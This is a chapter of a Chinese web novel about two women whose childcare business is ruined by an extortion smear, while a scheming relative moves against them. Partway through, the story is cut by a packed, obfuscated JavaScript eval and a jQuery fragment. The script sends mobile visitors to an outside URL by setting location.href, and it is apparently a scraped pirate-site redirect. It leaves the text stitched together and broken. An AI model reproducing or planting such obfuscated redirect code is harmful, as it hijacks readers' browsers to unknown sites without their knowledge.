104. 第 104 章
作品:《被吃绝户后[重生][2000]》 “据他交代,在省城时经人介绍,一个有钱人想搞垮你们的店,不过和他见面的人不是本人,可能是个手下人。你们好好想想,在省城有没有招惹过谁家?”
省城…能联想到的唯一的关联就是去省城的齐家出了趟差。
丁思南把心里的想法按下不表,掏出手机飞快地给齐修远发消息。
丁:【新闻看到了吗?有人搞我们店,说是省城的‘大老板’指使的,你有什么想法?】
看着她俩也像是本本分分做小生意的姑娘,不像惹是生非有私人恩怨的人,民警估计大概率就是商场上的老戏码,碰上了眼红的竞争对手,黑了她们一把。
民警看她们俩想不出什么头绪,便让她们回去等消息。
本来抓到金荣以为就可以让他吐出赔偿来,现在又咬出了一个‘幕后黑手’,还得等‘幕后黑手’落网,才能把最终的责任定下来。
在回家的路上,虞晓莲支支吾吾地说:“小丁,你说会不会是…王仁?”
她自己从没有去过省城,更别提和省城的什么有钱人打交道了。
思来想去,要说最近招惹过什么人,有什么人记恨她,那肯定就是王仁。
王仁私底下想办法弄到了虞晓莲的新号码,极力做出悔恨挽留的姿态,都被她藐视了。
说不定就是他!
虞晓莲紧咬住嘴唇,自责不已,一只结实而纤长的手臂轻轻揽住她的肩。
“我觉得不会是王仁。”
丁思南的语气笃定,似乎已有答案。
“他有这魄力干这种违法的事吗?缩头乌龟一个。而且凭他那点算计,有本事搞得警察都挖不出来?我不信。”
“再说了,他也给不起那个价钱,一万呢,让金荣干这一票就给他一万,王仁的债主都快把‘超越教育’的门槛踏破了,他舍得?”
“金荣说的话也未必就是真话,或许压根就没有什么指使他的人,就是故意放烟雾弹不想给我们痛快地赔偿。”
丁思南强调又强调,总之,现在工作的重点该从金荣身上转到如何维护公司声誉上来,这是虞晓莲的专长。
夜幕降临,两人在路边小餐馆简单吃了个饭,在路口分手。
丁思南这才掏出手机挨个点开齐修远的长篇大论。
她的直觉还真准,原来她前脚刚离开齐家,后脚就来了个齐修远的爱慕者登门拜访,要求联姻。
其实这是好事儿啊,可是看齐修远短信的态度,他宁死不从。
会不会跟那爱慕者有关?听说是个厂老板家的千金,符合指使金荣者的条件。
丁:【有什么好抗拒的?门当户对的千金小姐看上你,不是挺好的吗?你就和人家好好谈谈,说不定能合适呢?】
有钱人身上抖根毛都能把我们小老百姓压死的,人家千金小姐要真是咬死我们不放了,‘星星托管培训班’的小身子板,承受不起。
丁思南这么想着,却不自觉地把这条编辑好还未发送的消息默默删除。
…头有点疼,不想了。
既然齐修远说他已经在来槐市的路上了,顺利的话,约莫明天的这个时候就能抵达,到时候见了面再谈吧。
回到家,丁思南扭动僵硬的肩膀和脖子,放水洗脸洗脚。
她一改昨日乐观的心态,心里不知怎么的又冒出了密密的鼓点,搅得她心神不宁。
生活总是在不经意间给松懈的人一击重拳,说实话,她真的很讨厌这样的生活,时时刻刻要紧绷着神经,提防脚下有坑。
如果生活可以具象化,她非要让它尝尝自己的拳头不可。
第二天,果然店里空空荡荡,门可罗雀。
今日的预约全都被客户取消,门口倒是总有人路过停下指指点点,留下意味不明的凝视之后离去。
店里的几人围坐在桌边喝茶,虽然对这样的走势已经有过心理准备,可当直面惨淡的时候,谁都不是那么淡定。
“王八蛋,照警察这么说,那家伙并没有讹到我们钱,达不到犯罪的金额,这事儿就这么算了?我们店的名声全给毁了,找谁讨公道?”
刘舒雅气呼呼地把大家的心里话说了出来。
“名誉侵权得咱们自己去法院提告他,警察不管这事儿。”
虞晓莲顶着俩黑眼圈幽幽地补充道。
她昨晚上翻来覆去睡不着,一大早上图书馆借书恶补相关法律和案例。
“按照咱们这地方的办事效率,没个一年半载官司都未必有结果,像昨天那样才一天就能把人抓到已经是神速了。”
这一年半载里,说不定‘星星托管培训班’就已经被耗死了。
“那也得告!”
刘舒雅坚持道,“凭什么他做坏事没代价?我们维权却有那么多障碍?真不可思议!”
丁思南木然地点点头,表示赞同。
这世界的本来面貌就是如此,如此的不可思议。
“不过派出所承诺中午会发通报,帮我们把事情来龙去脉在通报里解释清楚,还我们一个清白。”
并且在丁思南的请求下,在通报里将丁思南的名字使用化名。
派出所愿意做到这一步,虞晓莲她们已经很满意了,毕竟她们只是小老百姓,不能异想天开,要求太多。
新闻频道的片头画面开始旋转,虞晓莲把音量调大,大家目不转睛地盯住电视屏幕,她们几人望眼欲穿,想象着全槐市的人此刻都在电视机前面和她们一样关注着这则通报。
想象着午间新闻播完之后,她们的老客户们都会回心转意,对她们重拾信心,现在空着的所有房间和座位,在明天醒来之后又恢复一席难求。
可是偌大的槐市,她们业务的受众群几乎人人都要上班,谁有空在家里看什么午间新闻的派出所通报?
是有这么一家人,同时在看,津津有味。
沈时扒拉了两口饭,嘴里的米还在嚼,含糊不清地用筷子戳了戳旧彩电上虞晓莲的名字。
“妈,王仁是不是有个老婆叫什么莲的?”
王琴答:“虞晓莲,也是个没人管教的悍妇,上回在你喜事上闹得就是她。”
“她们家不是在开教培学校吗?什么时候又弄了个托管班出来?”
“那谁知道啊?听说那悍妇主意大的很,心野着呢,你王仁表哥根本就做不了她的主。”
沈时放下碗,冷笑两声。那家伙上回还打电话嘲笑他没本事管住媳妇,自己也不怎么样啊,五十步笑百步,沈时拿起手机,回拨了王仁的电话。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507816|171101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“哎哟兄弟,忙着呢?你店里出了这么大的事,做兄弟的不得问候问候吗?哈哈,还瞒什么呀?派出所通报都上新闻了,闹这么大,生意做不下去了吧?”
王仁那边不知道是碰到了什么事,一听到虞晓莲的名字,气急败坏,哇啦哇啦的骂声从听筒里传出来。
沈时把电话拿远一些,捅了捅耳朵,接着嘲他,“不是你的店?是你老婆的店?哈哈,你老婆还跟你分你我呀?你说你这一大男人,还做不了一个女人的主,啧啧啧。”
沈时的幸灾乐祸彻底点燃了王仁的脾气。
自从丁思南牵头让虞晓莲和他离婚后,他的生活好像走入了某种魔障。
每当他以为已经跌到低谷不能更糟,生活便毫不犹豫地将他抛进更深的坑里面。
他白天当受气包,晚上面对王仁娜的冷眼和残羹冷炙,堂堂王老板从家里的九五之尊跌落到人人可轻贱的没用男人,人情冷暖的反差把他变得就像炸药桶一样。
刚好这个始作俑者的老公就举着‘火星子’不知死活地点他来了。
“好啊你姓沈的,你们一家人都欺负到我头上来,先是你老婆,现在又是你…你想怎么样?”
“你老婆是受你指使的对吧?看我们家开着教培好好的,就眼红我们家比你家挣钱,把那个丁思南按插在我老婆身边把她从我身边搞走…”
“现在你满意啦!!现在你满意啦!!…她们现在合伙赚钱把我一脚踹开不关我的死活,‘超越教育’也快完了…姓沈的你得逞了,你会有报应的,你全家都会有报应的!!!”
“发什么颠?”沈时往地上啐了一口,刹那间,王仁的谩骂中夹杂的几个词汇猛地击中了他大脑的某处。
等等…
“喂?喂?”
他急忙再把手机贴到耳边,里面传来对方已经挂断的嘟嘟声。
电视里还在滚动播放派出所那则通报和对广大民众的提高安全防骗意识的宣传。
“……西区人民路39号商铺‘星星托管培训班’发生一起敲诈勒索恶性事件,‘星星托管培训班’管理人员虞晓莲及小美(化名)到街道派出所报案称,……”
在家休养了那么久,出去找人溜街成为了他恢复腿部肌肉最好的复健,现在沈时的腿脚比刚出院时利索了不少,石膏已卸,也不需要拐杖,浑身都是劲儿。
时节已步入金秋十月,他抓起一件厚衬衫,呲牙吆喝道:“都别吃了,跟我走!我知道那个臭婆娘在哪儿了。”
虚度了大半天,快到下班的时间,几名员工陆续推门进来。
她们分别去找了自己熟识的客户,人家态度上倒是很客气,只是直言已经把孩子放到了其他托班去。
而她们在回来的路上,在附近的街道上看到了更加令人心塞的事情,同样类型的‘上班族小食堂’如雨后春笋般涌现,分明就是照她们模仿过去,趁这个节骨眼抢客户。
人家都说好的开始是成功的一半,‘星星托管培训班’的开头这么顺利,在座所有品尝过成功滋味的人都说不出放弃,这道坎,无论多难都得过。
丁思南身上感觉凉飕飕的,心里像踩空了似的,她不断地给自己打气,给大家打气,可是无形之中,这边打,那边漏,就是没来由地发虚。